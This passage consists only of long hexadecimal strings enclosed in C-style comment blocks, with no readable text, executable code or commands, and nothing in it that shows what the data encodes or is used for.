e19f0e280d7627c793f86c7ec69ba74d6e0480bc0e7642116b8712fd354c6c606820f377da1e9e86cb2ddad9a8b2eb9ed3dcc2394b4839d142b30c4c26cd0eb9e07009f489a2209ab5d712109cc3fc243f6521b6f9d69c8d1daba93342aba9d144c0284b1f7025ff9d13d24c762ab06658c74eb2ad541420c1b33134971c2bb645c6633516fb2b0219f5f180935c3083961a4cf3179b468b8a42e1eef4d443e5c3c3cb308acbdf99d8ce26d608ef4feaa60e77eda48413dfb336828b8def4bce079d4bb551d36e29688165644f62ec9cc042a6d0ba32cf7f9795c2ee4e0506c4f4dcd0c3470ce4c5c273656da5a8ac4fb60e269588bb8f3958eb2087b51944e04abc1c8a74a2f161122d4eb2bae0ca1174e20468ad9fb2c93dc8fe452ee5feef441da92ffe33ecbeb7c3d1ba9793a851d43df89cda12506d8ecfad529445b29b8da8b069bd9ab89f57904aa9e1c4cfade13a5b7665140fc789143a9b7b46431da20dc3db20c0e6b0fd0546c0387e67ed2c72ae9ec3fb3693e8c69607019b82c0984c678b51d5c59dba1b322f6087323288b0caf4e242cd3d59d01d05b7f89f8d3a3532fc73d660654108dc127619b7849bc390a826c37632c29d74ad5c18dd46bc826179f0bf7fcb48768328a0fb683372d5166898ff30d2e43494faa3c699c6a74511a8029f8589a5dc25ebcbf8ac4aace61145c96fdb346fa9fe509e45a2a4c424220426c7c3d5b4d680687eed833719057145e9f047daabbc2824d93863cee30d486af9cdef16f7843cbeca170c296ff491536802e6dc3dbb06cbbc902edef0d46dac1d5e00d700227698c35827ce298767d0b15c3d12bd3a599cec43a2c4a655085e88919d9442af47d4b13f5434044e5c174a9c5cd76f0c047049e5e90b5d5464306db6b7eb18736e1e5450a82903804a3de2c75efa2a06bf68a954dcf26dc5a7fedd4d7433da50537ddb1b890843d8a1587964089c154ce337559c5f824d40bd47a38fe1b3543fad4ed5b001a439c14b14b8f2b8c4bd7e0157f3362449c12f22b263150aae243897e03448963e05e775def7faa7afaffd02204c880a75ea1f8fffdcc9d1909f4d11586ffcbb37639a634bcee72eaf2f53d841b3ef12d3a3c90e44086e51f320f5cb2813753ba701d7e206fdabfe6411755654c77b99e91ec8cf5350ef910c65a2abfa699fa897354300270bb592510ab28c0bca5a4184a323acb37bec9fcbc7cf152a090340692bac72f05f703c5321ffd7275977acb88b69*/
/*4822a840f9ad7ee45e98d7cc4e30e47e5d01f9b2c9365fdcc191cf5f149b9cd80147ca60ddc98075dfd30f167e544dd9c815f5e6f99fbe3bf65afab71eae321584e73f7237fc8279e9a0a5c7960c251d92fb81869f42921718e080a5788e1bc6206bc38942ed96263bb624d429bc5cf49de83a75ffb018e8b0fd271e8ebbdc5ed2c1c175f5f5d498f79bac2c455fa6777870f9d20f0afc12c2f9000703a581479f6db0718c0807d8e8590ea5145cd15a1e8d263837f52d21549cf9f2debf7ac9913f7b83836e8514a355965df560d17cc7762517ac66a7498228612bb4019817b754df858dd50c577bc4d1062c1325dd87c35fe03a1d3a12470adfaeda4f31adaa9fbe331ff03e52766d44e121ece8bf58e4d445093a9f48fed16ab079b694982492f4abb1612490ccb33d6de77b11edbc174797dd821744773bf9c5c0a11659ac751409a1b74aa8fe032a9b565de213ae65f4fd9c3d2064b2904c8907b545df27be69ad2f3080fdfbc332a7c886cd9d8a68841296e33a8a0fa73a423ffa9e813d7f787390adbe388277f715996bf3276b89cd2e1a13759dc75e3e686ca1d298b065bcd9b1241205ebba362c88c520d1953a2e1058060e76ef698a133b00a37b94fb3a10ebf4b1d94548f20b0e6f3408b523cbded58d239c019b3d7494f2d187551df3860566b394576557a11d553bc0dbd8b9d9e5827fb0ce6734b8f5fa909fa1fb70aeb5f7cf892b4f49628ad1f3239c7dae9c74c13fb074417dc1c4642cda9c19e2e79e3ce1bd85ec45a301dfd5932183e343f364f3ce41772ff77d197da1ff69d5610cf95d9f3dca707db80fe11a276d6091014de399adce30153d4d82ef95ef1c56331764f00246e820089ab98e05644ac712576bf41ad3ca6e5a8b3bddfc8d7cdebf8b2851efcbfa5d20cf17ea0113cfbc5ee635e05be466c54e5469f3a8c2e1abb749f69cf927fb4e466b6aca630ced87eb4871ef44b122953323734f5ba7ada6923944db7907de05b5e42fa75b8493f29d4a82924010657030c7bae9f6901cc471420ae571062333aaff1c2a50fda71ed91a7c5b8fb3e9eb1b8489cb9d43a0d3c14dd426ca0d9609efc5bf074bb48e138d6ea25a8b3cdc0fb3cfdf7f5847f1ae134fb3b78a3be4996402879fe65c42c6b547767407b0d3c667a73a073ea30790dad38c5e10adb98fe1ec596cb08b08a4c5a597a4b413773fbd83bfba92400b12bb447b82553bf549e780a913054302f1ed227fd1b3e1c024ca7c18b015623e0f3cf0e4193fcbcc9c82cb6a5abfade7d21b0cfc18c141b5472303815675023708c5e68b0b70bc180552e36ce27160472076e6226fde375b0ae7804958e502e8aab70e4265dcf73da64340176769430ac7290375ef300d39f00cc584d49b5224cd24347cf8df1e542cb4623be9fbea097968a918ee0adcfbe25b1a90c89a1c8e56a51f9fa0baea87f06b6661d0354424aaaa9786f0ef65ebe52dff4e8e05f13096b5ca0512fbf755e12cdcd4d021f5c39b8736e1eeaf2ce6d36886286189dfd7a3580c0a77a3f5ce877c8f33c5314821d0726780d74b93c0519887a208eb469728ebe232bb55d1b5ae9d8de840844d8d28174292cbf1694f83f269aaef2c01b327acc2f7361f6d0b34bbd8cec5e0c150c156f05d83b1f362bdc552e475cf6e5316eda912cdc738c6119c3a15f05e070f9eb017679050ea3559771ef6ea62963d6f5b075e64ac721b83daf17a535cd8f867ae3eef6edda42fcc75bf7adbba397d58f64e8780b69b6ab58bb7f68ca2146ec31d2395ea22091328b9edd01bb6ba35481ca7aa5b647ca545d46498b222e555cdd4a20593e736720ccd531e5b160b538ab8d743cfc51d2c41c0164eb886ee4bdc607a93e2a2b3d539e962ac0d9126e4dc2cda265ea9fc91f5499ee249015fbe768b9d60fc1eebfb9b41a447fe472c7c6b6fcf904b6551a3461c2ccb3ba3dff12e7ecae0f2be846b3c45c1984f19085d0e0f4b1594a075ad5e6ec9b83ad3bb20fdd6d19f36306845902323f9da8a2bc9f5f33c1f4c8e03f1643756cd8aab1de89c0383f492eded9ddf55276064d3ae0ba834f4e39bdefe076c9830a3d5edf608a7dab3ce8f5fa16af4608635d4cfc21966b5c8287504336200c4ef65f6f16f203aa1dbf5179cec174fbf2a317e2669cdecbfa73fa347af42b4bf95370a61dad6e742646c33c1bc9fa9cc583feeaef040b910490cde9d18e024385c5545d0c65d9b6e6c75116fe96bb175c328f2a3070e0522285c98188e2c8d0f6cead7901dc4d3e5ecbf3da448c35d5314aef6af62018b5de58abbb57f162d1595d46b6212cd2b4b1955b4ff16e7b40136eff62fa943c7c1e5dd60c87bb576c784ff9092fc8adb2b136c4ebba92dcee6652e2773ee9d46f8ebd895b809826ee3aba3be1f164fdb64468404164c8555266c2ce4be70db4ce34219e54f0c772074c0ef16f048045ae097ad5bb9404cbd819f577b911c6fefd693e8403e009b29f6a1a505f2f8c2c24c35129f8d06015382d2c41f33f725db6dbeee94a02dcad83f3ea1a425d30c8bc5a61352546bdb80b01aed549723f2195eb36cac1bc347276ee9c433e4955ebae966ba624b662ff5ff45351578f3e9e4786e0f2373904e4e6927b00c9712c9172de738b9cf84dd784b50cce7b1c554439e31f1f1e09011df206e59463281b10f258c3b45d8d46cfaefe159182dfdfbd3b9d5da88a71286116b356458162be83f8c30b1937428e8681d89987fdb8045e40c9e17abea23b57d646c0fdc1b11b23250733fa9e198fbfa2ee5ea363d12788d6649f7f71488b8a7c7baec53*/
/*17049b651246d98cca4e9cb2dbc3b04a2a231be2ef87029d5f81a758438cd28e7c36e5d85b03266193f90d6005d3fd0b2659fd4dd5d18ea3e6897a5d872571cf6da57460baf798548982f20642537cf1e3b4171b3b6efc989614dc1b4ab19ee40b8c5c4c5731a9e06caeffe7edbac20703fe081a97ba0bb3de2342790151ebe90ef4cb6e1ff709a71c87ad8f6ab74f56516ff617bc74b318a9c8d4efd3026428733f7e48cc6405a90c8e77b9dd2649245a1c7e3ac7d0d71a5944eb4af1e28ef6053ca85229f2ea3e1ff553bb89a2157ae843ba8d3d7e917f57947f243efea0bf5aaa7471ce765596bb3281617652d1f5bd223e3e61e09da39d1f3291f75dd7fa785f9d3016e6da5942cb316ad7c04a4e28b00c58e20c1298743e6a658b5868eb0ab972dfda43eaadc604887d28da49c824f8540b40350e49216bb9d90fc900f96388eda39d0e8ed50a907e53f931b49168f5621262fa1504aaf969da2bfdd94902d9218bead22d08a92ebbaddfb3d75f64df67ac107e437e0a600c4619908d45a3ea17e8920c4d669d290003cc991f7c5565c52745a9e96ad12d6a2dcdf99c23912d5c6cae8e7bcfab03aaa54916e38af039e4c8770e578c4bc3a8a0e5e2ba215faa33a5f44f488b682cc4591cb19446c411d9bae9c9945195d9410d6b6b1c174100aadca2880922909a85f0ee0a6784021db3225f188e63c9b04e4f8e5f096d1e9c0eadb642a738069d15220ea3a38a51133ce74e556aff22fc3f76213d46d4414ffcd77e624b3fcb8dcfe75ebc32adc52875caca5f22ceb3fd891377a16e708d6f9ee0a1c8c4a33e646ec7ede5f8dbd89892e6f186fa0a208cc397602a2021c53f8c6c7dc51d119d000f51235f9c6da5cadb1833c203bc4f89189b2de92bef02a95536abde47c72c759604074e288995fe86549b89ac8dbb9b0258481cff5030856dffc57e66b00e93ef1889894724855968657f21b503be4a12f2bbb33eefa4f57094966b1552523bfa6d28dfd97ecb4ac8b2d22fc02ba958a68b851e7accf8209eeee37244a795ffeb48b4d5ceb3a3c6535e8b892c3a9f121b85508ae173ec466d8fd00255565ac821bcea9156f5b819ff73dee2b3595613fce98431fc1344fd9aa730cc1dfe3b84eeab7f569570fb21ea501914905780b70ea4e564e2da8eada865f9cca80cfaf7bbf3906dec2a1c697913143a734ff326b8ac15eaafbb3a4a3cfb3e350cee4a840fec7357b266301e3dbc8f7f46f5c171c989e1116d690ba696b0a363ebfbb59cd84355664b2712ec05bca9f17506d61ead6358715b51c99e5277a841bcaf031891bb9e0b85150a8fddcedd980093cc8eff27d3cbe09712e1e55816482db9f8053556d8827a18e83d43eb42118bab4a2b87fe3648f8363ad04ae130b472afb5a750b39d1e421d593657a97783b2755bf9fd4a4cbfaa6e216ae7a478b335b70599029814e78e173720a69b6a8a1da024e4f924053229eb373d29041645de412de45bc6ff2c18856155c0a5fca1726fc9901ed9c7ad32906d9c810315a2a12262fad7bb7b72620cfdcb6c914c7f6cea9ed372fc2a688eb3deb64b32d1d8ce2ae24918c5eb8d57c189bf4f6d66250b8fa5483f4e352e68e98b7f6a34b1757dca830c0b628ed0e9d3d6a46fe0d1c122eea63d0d6762d3c6121dd81420b0ac3d8430c692398d01e3e4ff98653b570cf4a48bdc7c7261ae0186958f60b6fcd09efaa0af6c175bbe4d956877356eaee7701be8e1331788b8406e53d153879d75656b8b55fc17457fe71d01046f284ec720f9984e853a523061ef69b6d60bca2f6bcfde7b57cb009bf01ee2535fc686738f11dbc4c57a42d1dbd0ba14085874332a18e6f3cc768d33daf4c0ecc92d0f90621f55666598878d584432e4cfa4ac009a0009ee41bbb591dd7936d4f3c968f4f4bc3e88304aea7d1c654bd98880c703469652c7fefbbbf03674f2fb6c13c6598a724f60a903022cc65f23930a37772de3a33a26f7fd2795245adb085616c584a06bb6e3c529857b3ca64b579442863321687f69ad55605118a73eb1d4309582e0f599afcdc898e919ebec27a031e45865ec997cdcc1d14889d84d27d445bc76489d8785b419d27aeba4431dd3a7707033e6368a1ba514c83016cd7c92303246bb38aad6f8e689bf0e008913fae9ffc616db2414dc44733ca4f56ccd9e9d0b71322407b5042b61e6bbb2eea9140e45d87b773777bd904bab60a8c1a841cc9694df84b4f099be081d96806d8c76f81d4f361dfd0e644e1874e6008f38ffd2dbaf132effd6a0e380bf9884072db21abc659fe7ae0ed440fde7708b3cef7e1c68fb6851dc10a04a6f495c260dfe2289f738a7938386dacad5d282fb1a9f13fea18bd383c1d20fb99fb9c533a126631df88653b55159c41fb72db05756be6c141d0ac14c4c05f14cc5331bd38d75b2b285daa5184307a98907e0c3338500223e24fe94f53c8bf5dc6b194e754c2ba37cb78f5364cac5317e7ceed7e2ffdb92086f1da574c50ce1f4d05a2591f20deea4ea68d3597b2b3875a79aa9df65681fd7edc5cb4fa1e44f0107b13e90c1c34277e4680a2c8928a5ff7a3a035c12d2313b77601f80305ce5d1667a8610e2467e6af0fd09304b2f81c6dec5773d81bc6d4e8018eb052bc8935e71485705291496d2293795252e64b25f9c278e31174ce0e1246e491f778d1fb610f2fe42aa7c80487dce96d758a0c132a8738983f35acabf49ba3e4b9c738894424d190c8697cb8fd6f324c65a554758105a469f129c201b7b71801db41c0e83a13adcbc3ef0290a04d8fb7e8d81e2a73ca99a9a*/
/*0748b51ae31bca5c2e8d31a81dd6bbf7bfd54423a2c013246b887d1de29d6cb494d18cc7b9b17d109f14e97685faacca5405cdc9a493047a98bb4dde3d3210756369c42712636f1a41043e8fa5f86e1ccec6cae7628266a7a4714ad8cb722ece85da4d70df6357f45ae054b08e254439b96811d1e7e1298766866b6a4782cc9b879a10dd6ad05ede090b3ec79741bf53b5b0f7436e11c3c38d44f9a569a9859f7c1e1d8573d0d023d4511cd73cb1f9f8ef9968ff716f7da2ff23ff366c4d8c6b32d5f82369f380677c1f30ff9080ed5d30bd44f1c337b8118c613c3538975b3080c67d22fccaca3bd0b8181d895fcd8ecda21ec75f75ff7f1f840fea30b225c67b9767d505e5542d0c3fb6d35612a49d3b1fb89510939b42ca1e80c4ec4cc0aa05320865b6114a337fc070a51c9a5e58d5474e2c3d49a49f552edc2f1cef152d0b672320b67bed88198112e674edecc58a0cb78a4da26d2b041df0bbbedac4bbc5e184de597c7f6933a996c007d05bd6109c6a30e44be16257b6b2dda80c9769462b3afcf9536c3715c061a4789f340e99a429705b64b6aff6c387b2b6735e0075e77c1951528fd9a7dda578bae9cfbc9ce9c12f8a733809da0676dff13aaf99ef6f3c14597e7070d9abe6d49fb28740392b7851babb07d8d5233e4a31ea0f6b6a457d76665ab96a7d4d9df0ab07a7b1a51a8171cc0a6d933ba20d7d60933a43fe0d3e073e8887d430eaee5d7cebc69b31b88e944b9584a4eb637a722751a22c484a6ab025c220d15af1068ee5b17378678d888731cc5892c5f0dc6babec8415794a97ea9b1ff1a38b9a9bb7fe17d9bd3e4581ab1f559c897e743c3531fa3efd3a2238e411ad78dc2ede8e2539a878f4e488b587cf88ed6ee64235ccf6fb5df7643f2ee8a2cc4962b39b92a8b6e886fc6c6dcbc9fbbf95faae33650350339219bdfbdadcebaf247359b8838e4ce2b537e95a54857aca99ec4ee1ad23920d8118b70a6826603271e8bbf9ceaf2e8765088743cac4f448b8a51ef9982544c03806cf6ee0c2973f9c4324483bc3361974d900c50983a411c6073d0ec7dbd7893b6027430e150942d7d65508a91a27dcf5a4f7b0bfdaab7f3abc83ad7613b3428eec673f2868c35630342ef2323e27f1652f34c9e66fa7e1b5bbd4cb461f0939dae6a6b2597374a55315e8753ca171d1d302c1d2af4583040647e30bdefd3dcad4a1dd39b78e94f6904ccbd6152c4a552bdf076f868e73dfc76625a785c277fc36caa315d22cc501178a272692b8020a34646247480d2871d2af25df36ae3cb27042547390b656f72a415a4bcea928c649bfdc495f7f373f2ab6125a22d53a4ca47df55817264aed5915a9ef5ccf3aeb42b4ac583d86c74a4345c6c3302a8c2f822586d843fe09649cd0d394a4079653a63a3202e2ae64f2b8b459d128ccd23566f703b46f359f22458cf1b8ad4d5df8b5bd689c7554adb508dbcb209428869802de43346e73b54ff7b0bfe41fffe1ab005fcd1ed4cf61b2385ff23c6fe56da7ec9cb26b28abcc9786f256702fd78928d9ee6ccdec98fc73a79139af81d8cb9b80c88a5bcd46aedc88ce39e9bc07fed6085cb00c592eed4941fd9f2f6f55e8e4c8d59c3c7c9792b861f042d705ce16b078d93e298c089353e38224fcfddc4b759a836a4fed64431d0f7a1f18f67d5ebcbc3c0c6ef0da67898b98258a88bfd9d733503c26edb9636d7164403652a5e6c4192e9936d670af938051bafee72198768734697bd605433f1a30d3bb76691722c5af0692585701341797688b81d2d1457a39e7c20e17452f6aa8c6df06101d6bf8a256109b642def7b14db69a47239842642ec1e4cc61eb13b535ccbd19f7c0249f5669a3b76fe88b85875479cb41dd87f54dde1822a8e1037027e5c75929a0a2d3f451c96b188e61ebc2b3f73970c6b42593412f8ddfff708f8343cef2b6f47a341ae6a76b69feaaf28a225bc426c5a17dc65c24fbd62d596f65d0b6acdeff176dc120334dacea3317f99c6928065fbfe8af466de0cd17990e34e21a015f79344a96e598ddd132488d04b275bead5798bf5e876e7702e4a552160159b1d9ce7fc6d15e6f19859544b1afb004ae077df3e68a5db2ec64798d3053586cd688b217ac2f438e2058e3774d007254fe0c819e0b03e84eac2779d50998153c42804c754c5b85a23f54622b3a72b4baefb909b0b6db8b5486f1e4197d20c37dcdd05c14e0bac8c3a0b287dcdac5d8f89b6714d697db92423239c556f381a631c1df1f3c234424d0a1a464d394c213cd3efe0fd47a64534bf0b0d0d54f3a891e6114e4471c39a08ca26ab74c50c5f230e55522705280d41fc82f365c38d13a654d4bb9b5a4360d55a3fc9b13b6084a5396704b59c5a5caf126d1ea4f172529b6120249eb8fa90679ac2c112a99288585d08ecbd0a6f5431f189a8e13694f57d3dbae389f96261424a9e7e567c0255df81124d0e7a1213bde7a9c57995b4995d1737fe0575c5b339c5612b6e5136b9e9afe5484135c173804c6277859758ad35c0933ea60a848fa63c5946bcc60ae0a51f75871aed617d479b891fa0625302a3d4e53eff43029486fb6a1587731d766c71daa9f2c49a2959b52b19b5dac3a0f3347a4c845d5c12df74cc44256aaf0fdd22dc599e0abae29b2e632f4b24ff3ebb065409fc883481fc1601de8ba3ca840ecbdc16da2e1ac320e7225b184654575244d71b91dc10d501925a2194d863c6f9f40e269b2b91cd8b36e733002d735046e4d3e74a176240aab58ff9130880230201e42cac772c8ab6e80c8e7b596409696dbe047a248b*/
/*daafc7560779c1300267f1603b78b0ec58097ddca3ff6cd04089ad577f68f3e4af8fc38fac9365c88f7844880541012edcf33b34be9b3279a0879a33108e2ae024c4604f8762c7d56f3a3e45773e22625b7832953ccc566ac1860601754569f18037afbd803e9820e3585cc949fc25532829f6d485cf655b847aabf97bcb80a55d3c8e531718cc0b0c8cafa26ab60147108d9d0d3c7f2f85ef85b24f2f87b805a1464d1c16c7bfd05622760f7e3b4c1db560d20149c7a75886abc0ffd78bfce523ecb21c05b9cc94d30e51d8f6640404ee5aef7ac0be8cb9f0e59bcff1e4735cdf3a2faadc6533081d21c8221425d81fd81472e72e2ff03effea167e106022e0695b8461cbb440da044cc7776bcc787a751493934042e9f653108fbc77e7f1d874267dfb91b6e49620c4e443ac4abb30e67668e37ae5b1879dd8d9ad9b5c13fafee825cb9142f57966f980c9a8458af2e47f265d31ace9c68e86923226ffc7702ac93be3916130568df70621f8b0edf31d2edd415ea235717f010c2e634dcff888c63199063b29b6b956065dc0dc62a77bec515f9e029a7be0e7673db121cacd45c9a6efa93c5e393216754bd1a5ec5a22ecf79db833b70a437a71d16c6de14cdf2e6683601a55c5bdc3634bfddded6bff0411c928b4ad630493c64600854fe0332006d75278d8ac80223cd71592660bf3ac4febcf76a243c7efe9ef6f273b7a229451a2fbfa099785fc721a3e30a929b036392a62b8028baae84dd0875fd102806509782284f3af4694011cd78035dac21cdc616ae0af6d501202990231fd4814551aafca9b660669c58b0d07e963f63290c93a4fd9e201cbfc8addb84b14b9f43d612bca6131be9567c1f96961d34f7a0f46d8f467f397be9541245c729f4dc7ee5d87a76bd0543450bb0082317af1127f4d70c3237d402952371f2e6d07152b1e3bec59e014f0a6c820f2697f1efd80ee3ea323c8068cdd6a67792bc23a3a5a4ad1bf3df65fc0d6fee944ca2fbefb59f6c46746f35cdf0375cce54b819a3a380aa363c3be85b0f515be884fa8bd6c908e6170f102782ab46e3465aaa2384d14e919cd52412ae548628b035fccaf6c34caab01564586689b7c2bf4906d2959b864d6c8d618b30087101719d098f427a077b844059238690a00871c3c9b06ee3dadee7c7b41ad1fcb329e8775a3e35d773ab166bb5094673b103ed86cf4bb10191222d0265c6600f6a749724bd6d7e5d730ee181e0fe04b7629cc529faf769207fbb8e06ffb5bfd5d1e57288bb8913cf01faa79545e6aef3367d2a50718b70dac1e0091d0c23490f6cf1ee1b0e96358a439e0a97fe79768168ed712bddf79c46180689dbc8dfe9067f68683b96bc6df4f7d4b82c99e982b4c736f529b6cfc9d2d8e57e1ce89cf4cf562de452dc94c24950435115ba681314dac7ebded2fc45fc7b1c7becdb37d0f1fe00b578597128b411de896e7e9f39aa10a17e9fc6f58ce989ff8f7e3027e04de761cd51b867d4b32142379fd296e22333e2919adbf2d262784c355096a2fba72fdc5a1a2cba51406de3836d599c1ed566f33be532acaa425f7fb4a0bd20acbd652ad4bc36550d7d88656fe5f9be0e73831a840bc238738f7c9c52d498907202b8ca54a8b57c25450f4d231a4c280f0cfa67bebeebf5e1ea95db96e407ba5c083b2083b9a41b986dfebab7e29bb60c621266e342ee0e5e9ccc6c77eec3666da2aaf1d863faf9a21444d0a81f854c3bdfb807e5afbcb809a800e070ac804b2cbac5b81b28f6e15f3d42cc2a268d1f545776fab598a1be14b2321e44ba7812c5900d6d78b95450fbfc985a5afbc93ed56f2b270de6e2b9be48671b8c0438281afb8c76ec6fcd14eb305901d00bf1b109333e609320517b213a4e2f4690e911a1cbc65c830d15679eabb542f7f3a4cdd4f2506b596949b179333d58e6c6aa19ac99b92b5f917fcb2d56d41d96a5b9d071e175583caacc24b5da81f7e7ce229a28549a2e9eb08de40e1c27fafaaf138bb9ad50809246d86416018b14c7869aaa80901a87a2687b6978a34c1fbd82d8fce0e2351a7b0c3a60abf009c316b5cca041bf3161cc124c434723bd2bfe6dfd6d3a744c9a16572d0d01979650bf208388a9e0507aa2603c94fc9a566a49a210f262a22a7582ec3308f2688cdc5310f3cd6eae27f726a36fb960f7094acf4ba5bd4efff44a81088364ad106ef9300daaa064108367a017e20e21a731f0543d452481ac4fa3a2c4740cd66d67bc8f8f15790dd894ca3ecc6dedf69b5be37485d005a85a4cb9ec71906dafab2fd9f1d89b32d53a1fdf4cbfe8cd79cc62a4ea1dd3a96326abadef85ec6a00e4a916fa7920e620d7039220064abdf08d071ef3e58f80798563a38a87ca5af5fcd8c86dea14c8f14a7fc5fdf3b785c612defe80150f6aa17d0675f7650e0da491437b9f28386fd8b829457e45768783a101358f834f4cfef4781b5809f3fe9a492d3654a12d08d386ca74f1c00e51284ef5432b8574ddca6b41260f069d2ebbc750ea551173b358db664c3706462f9542e5e83784458bd91bef100b892977f598fe7d5e68e0a5bd0fb16130b1ac837d0b379f77cbe81bbae28d9422fb096d63d30078a5a7342991256a48a86ef09b610b99204698de2810447b54230f55f6ccb845edf81887b4c393b255c2683297ea1d6f81b7a3bd52ea3ca61f5c7b44095f80cde6334dab27f1fecc6924f82d2e4702daf081b66853f02470bd89c8b2a8bd822b212e9646e333f0afe1616bc663457e21db609d36f0b59ecd4635130ad3259b10c4264c768a40fff9061d050d05220*/
/*815a0d11dc711befa3bdd14dcec969ce7d70ab3810dd436f7e04768720a840ec77396f84c69c6834396f86899e829952dc50d6c5dd4fbe3205e84c9e82ac04800dcae69db4c56b1bdc32418cef9ed64412b34e674c0f4dc88a23fcf973e92baf7ea896d97e2691f00b6ecca16a77b06b2d886220a47198ee5f920e8e1dc2bc68e9c2850fdbc2319ba1834c503240d13978edaf1e8d366237506d489d1346c6ab987e595e7c97f39ca79ba6cf97920a8f5a37a8c1db578affa279ea13fa3f8db3310459f75ce1b26198caeba7f2e3ef075b08cf9f8c47680277682b1f91d02d4107422654e40cb80cf72c4822b21f00cbf5ca294a9f5835795a9e167c8721bfde016570612bdbf8aae80ee4ede2deef2de47ff15c41491173c099cbbbd00903effe126f76b47a3675a4f0fdd23f55d64b1a0b2a4d35e4cf586e4e91b1d8721ac535933c091bf25bb524e162d620b771fe529d1675bd2b6c63830cbf34d5a45ffc1a6fed8163ab6cbb9b76685bcc1607368a0d7f82e723c4cc050258ba8c87784e73cbcac731843c591518a4b904a11419b3a7559ae2cf4d9d8235bc24053dc4d7a550e8438c968b00a32686505bb2487ca2e2f54b85aa89aad7f7f88e276891b2ad42c99ad4292e9565660b72d25f4aa7465ccd35eab8cb3097ed9028cff103e9107cf854b73600480de35327492b618541a71dd0563912a719f110ed7f62e618c7c06a1c82bd9a5cdece13883ba66561d5f75b2ede1d8c25562f7542fe433fe407cc409a347fc68b3bcde45adc2367f75936f31d1346e01ce4561e8f3e337d45e037a3fbb2f3ea3576d825f42c296838b10c0b05e0771cfe6e30fad9685093ef67597a12b4620289cb03cd3636fc33529e3066ada48ced990bce8b1f336593d70ecf1aa6a2b5e30615daa99b320dc694604f75a884952b27527bac5e8bb82e73c23a5c7d0f859d0f0a84fc1831a7a29cdb0a0f7e8a4803959163840a4566ab6ea729c6af1716f44588afdb18e52e4a5052bc0078aa0876198f8667d2f47d12be631c32ab36ce893d57bc23d75b0912f0132d0ef0004fad78ab04e6fbe6531ebdadbd48401b27af64a5e90ac9614df2f1e04ab8ed197d679a7bea6ea423287ad31f95771ac5d3f16fef6046eab28d7b2a89c75eaba037d0ac5c89022f50ab49f3e2da66f4e0d76c3fa21abaa125acfa725cd772ee3de9583d102bfac27fd19d222dc85d590d8e481f5676eb08aaafe6705cf6b4cd1eab5a21cc290a10d83c509103b9e1e26f98d31c98a94aacfe67946e38cb29613fdf8bdad9bce70910150f444d40752aa7057b03c7b5baf98d2a89f426a669d4dde8951a3b2cb8b0f3e3b35d9bee315a2207ffb7ab7fa34b3b2e84e705bed5b02468c19d4bb8b6e918859bfc2140c8f91b431a936b6346865eaad616ff7a165cd8f4313c314fe90aca83d621e060cb088109a1c790aa52226a5f9809bcac6dc2c1998a995f192da26fb91d2b3cfdcd9e006d356dfc89efab305f207e975deba0ef73be0ea2ddcdcb79c9668278d5b3be172ceb96c560c1c967486a435dd871e02bd5fe86864372dd319e31503f81530603788e0589155c2c7ebca52fc5ce08431f73a91152957df92ecb46a4a3f283be7b38f779d072920a52ffdbc4d22f46727a7a7b2a36cfb80fd234ed0b28a14ccc098a9cb838a0bd07478763d3f04b4bb7a5affcc356b7e7479dfc09e32053a7a9d15b119ded0ab6ea1c212ef559b6e507f2b84b79be3681ba067971fa50be6b703b08b7b8ca6176400dcec50f83824afee6e9d3ee1dd0eebf8718fdc689254ed5ba0c72abfb5aeeff65cbae6e0a8d144a1392e9cdca978f0f137c1a8b89598ecf039034410f4b16475795a640512adfaa2d427fccd3d332703863cbd9ccd74ed5264dd55d6fc4a7469d38986172a170674a5377acd10dc7e78cc3d55c92566ed1dae81567de534225598bef0363f3aa282193699cc7035e8644e47abe4c3ae2aebb6af63fd8f1f282fa089f213d747cd7ea507def880ad60bc48ca05a635a40f651cde938517e951e2f5498c73dc5d5e20424514aefdbebc0d1076d1a19bb435d322201e0824349a37eaefac565601298c46faac636f905d36ff4efbcc733857a5777a531200b5fe0f824ba84b79bda36c23e1e68701e7a8e5c8fa3f16c3cff575f0e7f0cd0fd0bc33e44efbdd8a51229e599ffd406ce60fbb4175311e33197c768b701e62f0576c5606df13a41a350aeab812996afcc1098aeae18694857c326fa3b83333d8b891272bb243c968733fcf8890b1ef0b9f387076ebac3399ecdeb57eac5da185a10e80e015e5ed608c8d785a29bd76c018ff0d7f9c34eccdd27641f9f04c388e6629d8d6aa9a0e3104166435a6149b529522b3f67a9a8643c2a8ffcf30c4706d94fe34dcdf04966d8ef93f8b13277a31578b1dd8c6f646b05516f2dbc6e4f5da74a6edd6f554aef9fb4ee5ed7535e6571070569adda697d0e44579e734a3296ea51697cf01cb47acc4b6c8449c8ea7073bf939af1d5805a85af799fb311ec3c440f56b40fe1a9f8658905199e32fb5d97f9a4687853850ebb1513ad51f938217af82404025a2e357088776cb0f444090fc4a915761222c62259cc13957c8faa9843a6b32eee551b8809223089815eaea52f75f18bf9279f6bfa11ff15ebb6616932dc0da464ee99ca0d3b3765c87b56aab05916df63f868d9ca4cbeadbf4bf4fbb47f9dbf03a2056e56b80e71c017d99309441b0e8a798e5c6bf5fca2cc71902fe36da7319f60d23d70a8b82dd0768d3e447944642e7c670476bbed93dd48aa6fa8d6458f7d1b*/
/*d6082c1dd8d303081cd11f5a9b9ceaf8c8029c59cc55239a94be9fe25157b2c7a2385e695f9c2f19db5864d783260d94a0d38be56ef79b162953ad2e76fc50b5ea3bcec5c89e0cd77961dc58be9e3cf74edb2f6caa0722d573a1aeb8be0eaaa9ece111c421dd48d63751b1699d69a50e37a89524f7b085738bbf0c4a24fb888bcded7e3cd2ef7e6206ae71b9caf24e513b9d2f01f3a99926793be76545611a547b61ebcf282f720f0f0c266b437073497515275d9a54ecc95ed95363f9c56a0146828011af4d7a43ca2faba0cd6550201efaff156f3ae5b95b364b309cb98f1f2bf4b60599ba7eb64d519db456bc55390dcdbbe0c83b4241936cac1a9a6185cc871bfe3b63925e5deb2cf72baf7a010245f30c718c317e0d484dbc1d15a59f49aa178f4c38016a9805961df696510fed5f51f5bc4428b9fe845a93d8851e4f0e71ff289dc913af221a3ca3581271cb65a8730490c17838034e437f5ac5f3ab1357186eef3a98238b36e0c073c74eedc69bfd118a6ca976dbf1f9dc835eafa057775e6d9eb72be46ba88697759ba47fa6b2cd6e7b7ebced9baf9c48c7a0aac1f18313fdaf20d12b07014e82f13d80014e0dc5f6d7b54f86e84ce9e304a1f01238f7c18317e2bd2162ff4ba2a1e4ed3c26ab0836757259452d54be18a9135111b2093d7fcb7f584e29da6261048f3f1f17291ab73c0da572a97866b2741b172d92a0f0c2f62937b19f98871b33385f7bf93d347660af81182182abb121166c12888523c3b28811008e5436eb6e7901cdda6c1619a0c38ec26acb72f0e8bb5832940a1bbff74ba22